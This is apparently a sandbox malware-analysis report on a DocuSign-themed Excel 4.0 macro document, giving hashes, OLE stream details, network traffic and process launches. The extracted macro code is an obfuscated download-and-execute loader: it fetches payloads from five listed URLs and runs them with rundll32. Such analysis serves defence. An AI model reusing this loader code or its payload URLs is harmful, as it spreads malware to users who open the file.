SHA1: | f4ffc845ceb85dee839ac85228ff410d9a01bd33 |
SHA256: | 91b4e89cdfe2e0d0f29642b21d4035ee4201f99e24e5ec841d4c8bb73547cd78 |
SHA512: | 1215c59e61129a34d96e0f1c574727c18c24517912e087f82defb18d02bad6910f9cc5dffe78f435fabf440c67ca1f6a567e55c496c4b7caca7f4a42234361d5 |
SSDEEP: | 3072:2cPiTQAVW/89BQnmlcGvgZ6Gr3J8YUOMht/BI/s/C/i/R/7/3/UQ/OhP/2/a/1/f:2cPiTQAVW/89BQnmlcGvgZ7r3J8YUOM6 |
File Content Preview: | ........................>...................................................................................................................................................................................................................................... |
File Icon |
---|
Icon Hash: | 74ecd4c6c3c6c4d8 |
Static OLE Info |
---|
General | ||
---|---|---|
Document Type: | OLE | |
Number of OLE Files: | 1 |
OLE File "Complaint-1091191320-02182021.xls" |
---|
Indicators | |
---|---|
Has Summary Info: | True |
Application Name: | Microsoft Excel |
Encrypted Document: | False |
Contains Word Document Stream: | False |
Contains Workbook/Book Stream: | True |
Contains PowerPoint Document Stream: | False |
Contains Visio Document Stream: | False |
Contains ObjectPool Stream: | |
Flash Objects Count: | |
Contains VBA Macros: | True |
Summary | |
---|---|
Code Page: | 1251 |
Author: | |
Last Saved By: | |
Create Time: | 2006-09-16 00:00:00 |
Last Saved Time: | 2021-02-18 13:41:44 |
Creating Application: | |
Security: | 0 |
Document Summary | |
---|---|
Document Code Page: | 1251 |
Thumbnail Scaling Desired: | False |
Contains Dirty Links: | False |
Streams |
---|
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096 |
---|
General | |
---|---|
Stream Path: | \x5DocumentSummaryInformation |
File Type: | data |
Stream Size: | 4096 |
Entropy: | 0.327349318268 |
Base64 Encoded: | False |
Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . D o c u S i g n . . . . . D o c u S i g n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E x c e l 4 . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . |
Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 bc 00 00 00 05 00 00 00 01 00 00 00 30 00 00 00 0b 00 00 00 38 00 00 00 10 00 00 00 40 00 00 00 0d 00 00 00 48 00 00 00 0c 00 00 00 7c 00 00 00 02 00 00 00 e3 04 00 00 0b 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 1e 10 00 00 03 00 00 00 |
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096 |
---|
General | |
---|---|
Stream Path: | \x5SummaryInformation |
File Type: | data |
Stream Size: | 4096 |
Entropy: | 0.265824820061 |
Base64 Encoded: | False |
Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . d . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F r i n e r . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . | . # . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . |
Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 9c 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 64 00 00 00 0c 00 00 00 7c 00 00 00 0d 00 00 00 88 00 00 00 13 00 00 00 94 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00 |
Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 135983 |
---|
General | |
---|---|
Stream Path: | Book |
File Type: | Applesoft BASIC program data, first line number 8 |
Stream Size: | 135983 |
Entropy: | 3.7011413863 |
Base64 Encoded: | True |
Data ASCII: | . . . . . . . . . 7 . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . F r i n e r B . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . . . . . . . . . . . . . . B I O L A F E . . ! . . . . . . . . . . . . . . . : . . . . . . . . . . . . . . A . . . . . . . . . . . . . |
Data Raw: | 09 08 08 00 00 05 05 00 16 37 cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 c0 00 00 00 e2 00 00 00 5c 00 70 00 06 46 72 69 6e 65 72 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |
Macro 4.0 Code |
---|
,,,Server,,,,,,,,,,,,,,,,=NOW(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=FORMULA.FILL(D129,DocuSign!T26)",,,,,,,,,,,,,,,,,,,"=FORMULA.FILL(A130*1000000000000000,B133)",,,,,,,,,,,,,,,,,,,,,,"=RIGHT(""ghydbetrf46et5eb645bv7ea45istbsebtuRlMon"",6)",,,,,,,,,,,,,,,,,,,"=RIGHT(""45bh4g5nuwyftneragntrnrfaktsgbutnrkltgrkbownloadToFileA"",14)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=REGISTER(D134,""URLD""&D135,""JJCCBB"",""BIOLAFE"",,1,9)",,,,,,,,,,,,,,,,,,,http://"=BIOLAFE(0,T137&B138&B133&D145&D146&D147&D148,D141,0,0)",dindorf.com.ar/ntpnttfypqs/,,,,,,,,,,,,,,,,,,"=BIOLAFE(0,T137&B139&B133&D145&D146&D147&D148,D141&""1"",0,0)",7ruzezendegi.com/samsgtlfwzt/,,"=RIGHT(""hiuhnUBGYGBYnt7t67tb67rIftfFFDFFDTbtrdrtdgjcndll32"",6)",,,,,,,,,,,,,,,,"=BIOLAFE(0,T137&B140&B133&D145&D146&D147&D148,D141&""2"",0,0)",miaovideo.com/wwdtfgdlijlr/ ,,,,,,,,,,,,,,,,,,"=BIOLAFE(0,T137&B141&B133&D145&D146&D147&D148,D141&""3"",0,0)",batikentklinik.com/qtuofsxtov/,,"=RIGHT(""nnhjgbgvdvgekvnrtve6reb6tn6rdtryt6smy65ty56s445nr6x..\JDFR.hdfgr"",13)",,,,,,,,,,,,,,,,"=BIOLAFE(0,T137&B142&B133&D145&D146&D147&D148,D141&""4"",0,0)",chandni.pk/ictrljsfuh/,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,d,,,,,,,,,,,,,,,,,,,a,,,,,,,,,,,,,,,,,,,t,,,,,,,,,,,,,,,,=GOTO(DocuSign!T3),,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,"=RIGHT(""dfrgbrd4567w547547w7b,DllRegister"",12)&T26",,,,"=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=EXEC(RIGHT(""rsdtustyudmyajysruysr7l6sdt8l6t8m6udm7iru""&'DocuSign '!D139&"" ""&'DocuSign '!D141&T19,40))",,,,"=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=EXEC(RIGHT(""rsdtustyudmyajysruysr7l6sdt8l6t8m6udm7iru""&'DocuSign '!D139&"" ""&'DocuSign '!D141&""1""&T19,41))",,,,"=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=EXEC(RIGHT(""rsdtustyudmyajysruysr7l6sdt8l6t8m6udm7iru""&'DocuSign '!D139&"" ""&'DocuSign '!D141&""2""&T19,41))",,,,"=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=EXEC(RIGHT(""rsdtustyudmyajysruysr7l6sdt8l6t8m6udm7iru""&'DocuSign '!D139&"" ""&'DocuSign '!D141&""3""&T19,41))",,,,"=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=EXEC(RIGHT(""rsdtustyudmyajysruysr7l6sdt8l6t8m6udm7iru""&'DocuSign '!D139&"" ""&'DocuSign '!D141&""4""&T19,41))",,,,=HALT(),,,,,,,,,,,,,,
Network Behavior |
---|
Network Port Distribution |
---|
TCP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Feb 22, 2021 22:59:02.957930088 CET | 49710 | 80 | 192.168.2.3 | 181.88.192.136 |
Feb 22, 2021 22:59:03.224803925 CET | 80 | 49710 | 181.88.192.136 | 192.168.2.3 |
Feb 22, 2021 22:59:03.224912882 CET | 49710 | 80 | 192.168.2.3 | 181.88.192.136 |
Feb 22, 2021 22:59:03.225424051 CET | 49710 | 80 | 192.168.2.3 | 181.88.192.136 |
Feb 22, 2021 22:59:03.492402077 CET | 80 | 49710 | 181.88.192.136 | 192.168.2.3 |
Feb 22, 2021 22:59:04.631943941 CET | 80 | 49710 | 181.88.192.136 | 192.168.2.3 |
Feb 22, 2021 22:59:04.633408070 CET | 49710 | 80 | 192.168.2.3 | 181.88.192.136 |
Feb 22, 2021 22:59:04.839406013 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 22:59:04.980715990 CET | 80 | 49713 | 185.159.153.72 | 192.168.2.3 |
Feb 22, 2021 22:59:04.981409073 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 22:59:04.982100964 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 22:59:05.122184992 CET | 80 | 49713 | 185.159.153.72 | 192.168.2.3 |
Feb 22, 2021 22:59:05.122201920 CET | 80 | 49713 | 185.159.153.72 | 192.168.2.3 |
Feb 22, 2021 22:59:05.122610092 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 22:59:05.124562979 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 22:59:05.286747932 CET | 80 | 49713 | 185.159.153.72 | 192.168.2.3 |
Feb 22, 2021 22:59:05.286768913 CET | 80 | 49713 | 185.159.153.72 | 192.168.2.3 |
Feb 22, 2021 22:59:05.286874056 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 22:59:05.286885023 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 22:59:05.287875891 CET | 80 | 49713 | 185.159.153.72 | 192.168.2.3 |
Feb 22, 2021 22:59:05.289465904 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 22:59:05.628535986 CET | 49715 | 80 | 192.168.2.3 | 112.125.131.128 |
Feb 22, 2021 22:59:08.631552935 CET | 49715 | 80 | 192.168.2.3 | 112.125.131.128 |
Feb 22, 2021 22:59:10.292977095 CET | 80 | 49713 | 185.159.153.72 | 192.168.2.3 |
Feb 22, 2021 22:59:10.293052912 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 22:59:14.632397890 CET | 49715 | 80 | 192.168.2.3 | 112.125.131.128 |
Feb 22, 2021 23:00:49.346362114 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 23:00:49.347209930 CET | 49710 | 80 | 192.168.2.3 | 181.88.192.136 |
Feb 22, 2021 23:00:49.612814903 CET | 80 | 49710 | 181.88.192.136 | 192.168.2.3 |
Feb 22, 2021 23:00:49.613810062 CET | 49710 | 80 | 192.168.2.3 | 181.88.192.136 |
Feb 22, 2021 23:00:49.721107006 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 23:00:50.377530098 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 23:00:51.705677032 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 23:00:54.330791950 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 23:00:59.582401037 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
Feb 22, 2021 23:01:10.082379103 CET | 49713 | 80 | 192.168.2.3 | 185.159.153.72 |
UDP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Feb 22, 2021 22:58:46.199289083 CET | 56777 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:46.249793053 CET | 53 | 56777 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:46.323472023 CET | 58643 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:46.373271942 CET | 53 | 58643 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:46.376547098 CET | 60985 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:46.424992085 CET | 53 | 60985 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:46.637113094 CET | 50200 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:46.687289000 CET | 53 | 50200 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:47.437449932 CET | 51281 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:47.492053986 CET | 53 | 51281 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:48.636333942 CET | 49199 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:48.687866926 CET | 53 | 49199 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:49.402770042 CET | 50620 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:49.462667942 CET | 53 | 50620 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:49.782305956 CET | 64938 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:49.843559027 CET | 53 | 64938 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:51.356633902 CET | 60152 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:51.421510935 CET | 53 | 60152 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:52.250014067 CET | 57544 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:52.298525095 CET | 53 | 57544 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:53.286185026 CET | 55984 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:53.337589025 CET | 53 | 55984 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:58.402293921 CET | 64185 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:58.451045036 CET | 53 | 64185 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:59.399849892 CET | 65110 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:59.463658094 CET | 53 | 65110 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:59.536993980 CET | 58361 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:59.585489035 CET | 53 | 58361 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:58:59.901577950 CET | 63492 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:58:59.961525917 CET | 53 | 63492 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:00.916085005 CET | 63492 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:00.964624882 CET | 53 | 63492 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:01.930468082 CET | 63492 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:01.988574982 CET | 53 | 63492 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:02.776334047 CET | 60831 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:02.956057072 CET | 53 | 60831 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:02.963412046 CET | 60100 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:03.013993979 CET | 53 | 60100 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:03.769742966 CET | 53195 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:03.833102942 CET | 53 | 53195 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:03.943865061 CET | 63492 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:04.002682924 CET | 53 | 63492 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:04.648597002 CET | 50141 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:04.837488890 CET | 53 | 50141 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:04.960216999 CET | 53023 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:05.010452032 CET | 53 | 53023 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:05.311264992 CET | 49563 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:05.626641989 CET | 53 | 49563 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:06.072643995 CET | 51352 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:06.125664949 CET | 53 | 51352 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:06.880871058 CET | 59349 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:06.929631948 CET | 53 | 59349 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:07.641009092 CET | 57084 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:07.697993994 CET | 53 | 57084 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:07.959760904 CET | 63492 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:08.031663895 CET | 53 | 63492 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:09.222551107 CET | 58823 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:09.271495104 CET | 53 | 58823 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:10.868465900 CET | 57568 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:10.917069912 CET | 53 | 57568 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:12.576550961 CET | 50540 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:12.633459091 CET | 53 | 50540 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:14.355530977 CET | 54366 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:14.412751913 CET | 53 | 54366 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:21.966629982 CET | 53034 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:22.025055885 CET | 53 | 53034 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:24.180893898 CET | 57762 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:24.232321024 CET | 53 | 57762 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:41.845082045 CET | 55435 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:41.893641949 CET | 53 | 55435 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:45.007247925 CET | 50713 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:45.058765888 CET | 53 | 50713 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:52.930275917 CET | 56132 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:52.981785059 CET | 53 | 56132 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 22:59:59.836127043 CET | 58987 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 22:59:59.887648106 CET | 53 | 58987 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:00:07.066653967 CET | 56579 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:00:07.129364014 CET | 53 | 56579 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:00:36.076194048 CET | 60633 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:00:36.127743959 CET | 53 | 60633 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:00:37.906385899 CET | 61292 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:00:37.978075027 CET | 53 | 61292 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:01:38.003408909 CET | 63619 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:01:38.161051989 CET | 53 | 63619 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:01:38.615238905 CET | 64938 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:01:38.698090076 CET | 53 | 64938 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:01:39.386435032 CET | 61946 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:01:39.437055111 CET | 53 | 61946 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:01:39.848022938 CET | 64910 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:01:39.905940056 CET | 53 | 64910 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:01:40.298046112 CET | 52123 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:01:40.357928038 CET | 53 | 52123 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:01:40.822685957 CET | 56130 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:01:40.883157015 CET | 53 | 56130 | 8.8.8.8 | 192.168.2.3 |
Feb 22, 2021 23:01:41.334503889 CET | 56338 | 53 | 192.168.2.3 | 8.8.8.8 |
Feb 22, 2021 23:01:41.391504049 CET | 53 | 56338 | 8.8.8.8 | 192.168.2.3 |
DNS Queries |
---|
Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
---|---|---|---|---|---|---|---|
Feb 22, 2021 22:59:02.776334047 CET | 192.168.2.3 | 8.8.8.8 | 0x85d0 | Standard query (0) | A (IP address) | IN (0x0001) | |
Feb 22, 2021 22:59:04.648597002 CET | 192.168.2.3 | 8.8.8.8 | 0xc6fe | Standard query (0) | A (IP address) | IN (0x0001) | |
Feb 22, 2021 22:59:05.311264992 CET | 192.168.2.3 | 8.8.8.8 | 0xb95b | Standard query (0) | A (IP address) | IN (0x0001) |
DNS Answers |
---|
Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class |
---|---|---|---|---|---|---|---|---|---|
Feb 22, 2021 22:59:02.956057072 CET | 8.8.8.8 | 192.168.2.3 | 0x85d0 | No error (0) | 181.88.192.136 | A (IP address) | IN (0x0001) | ||
Feb 22, 2021 22:59:04.837488890 CET | 8.8.8.8 | 192.168.2.3 | 0xc6fe | No error (0) | 185.159.153.72 | A (IP address) | IN (0x0001) | ||
Feb 22, 2021 22:59:05.626641989 CET | 8.8.8.8 | 192.168.2.3 | 0xb95b | No error (0) | 112.125.131.128 | A (IP address) | IN (0x0001) |
HTTP Request Dependency Graph |
---|
|
HTTP Packets |
---|
Session ID | Source IP | Source Port | Destination IP | Destination Port | Process |
---|---|---|---|---|---|
0 | 192.168.2.3 | 49710 | 181.88.192.136 | 80 | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
Timestamp | kBytes transferred | Direction | Data |
---|---|---|---|
Feb 22, 2021 22:59:03.225424051 CET | 1203 | OUT | |
Feb 22, 2021 22:59:04.631943941 CET | 1227 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | Process |
---|---|---|---|---|---|
1 | 192.168.2.3 | 49713 | 185.159.153.72 | 80 | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
Timestamp | kBytes transferred | Direction | Data |
---|---|---|---|
Feb 22, 2021 22:59:04.982100964 CET | 1229 | OUT | |
Feb 22, 2021 22:59:05.122201920 CET | 1230 | IN | |
Feb 22, 2021 22:59:05.124562979 CET | 1231 | OUT | |
Feb 22, 2021 22:59:05.286747932 CET | 1231 | IN |
Code Manipulations |
---|
Statistics |
---|
Behavior |
---|
Click to jump to process
System Behavior |
---|
General |
---|
Start time: | 22:58:57 |
Start date: | 22/02/2021 |
Path: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x260000 |
File size: | 27110184 bytes |
MD5 hash: | 5D6638F2C8F8571C593999C58866007E |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
General |
---|
Start time: | 22:59:25 |
Start date: | 22/02/2021 |
Path: | C:\Windows\SysWOW64\rundll32.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x1360000 |
File size: | 61952 bytes |
MD5 hash: | D7CA562B0DB4F4DD0F03A89A1FDAD63D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
General |
---|
Start time: | 22:59:26 |
Start date: | 22/02/2021 |
Path: | C:\Windows\SysWOW64\rundll32.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x1360000 |
File size: | 61952 bytes |
MD5 hash: | D7CA562B0DB4F4DD0F03A89A1FDAD63D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
General |
---|
Start time: | 22:59:29 |
Start date: | 22/02/2021 |
Path: | C:\Windows\SysWOW64\rundll32.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x1360000 |
File size: | 61952 bytes |
MD5 hash: | D7CA562B0DB4F4DD0F03A89A1FDAD63D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
General |
---|
Start time: | 22:59:29 |
Start date: | 22/02/2021 |
Path: | C:\Windows\SysWOW64\rundll32.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x1360000 |
File size: | 61952 bytes |
MD5 hash: | D7CA562B0DB4F4DD0F03A89A1FDAD63D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
General |
---|
Start time: | 22:59:30 |
Start date: | 22/02/2021 |
Path: | C:\Windows\SysWOW64\rundll32.exe |
Wow64 process (32bit): | true |
Commandline: | |
Imagebase: | 0x1360000 |
File size: | 61952 bytes |
MD5 hash: | D7CA562B0DB4F4DD0F03A89A1FDAD63D |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Disassembly |
---|
Code Analysis |
---|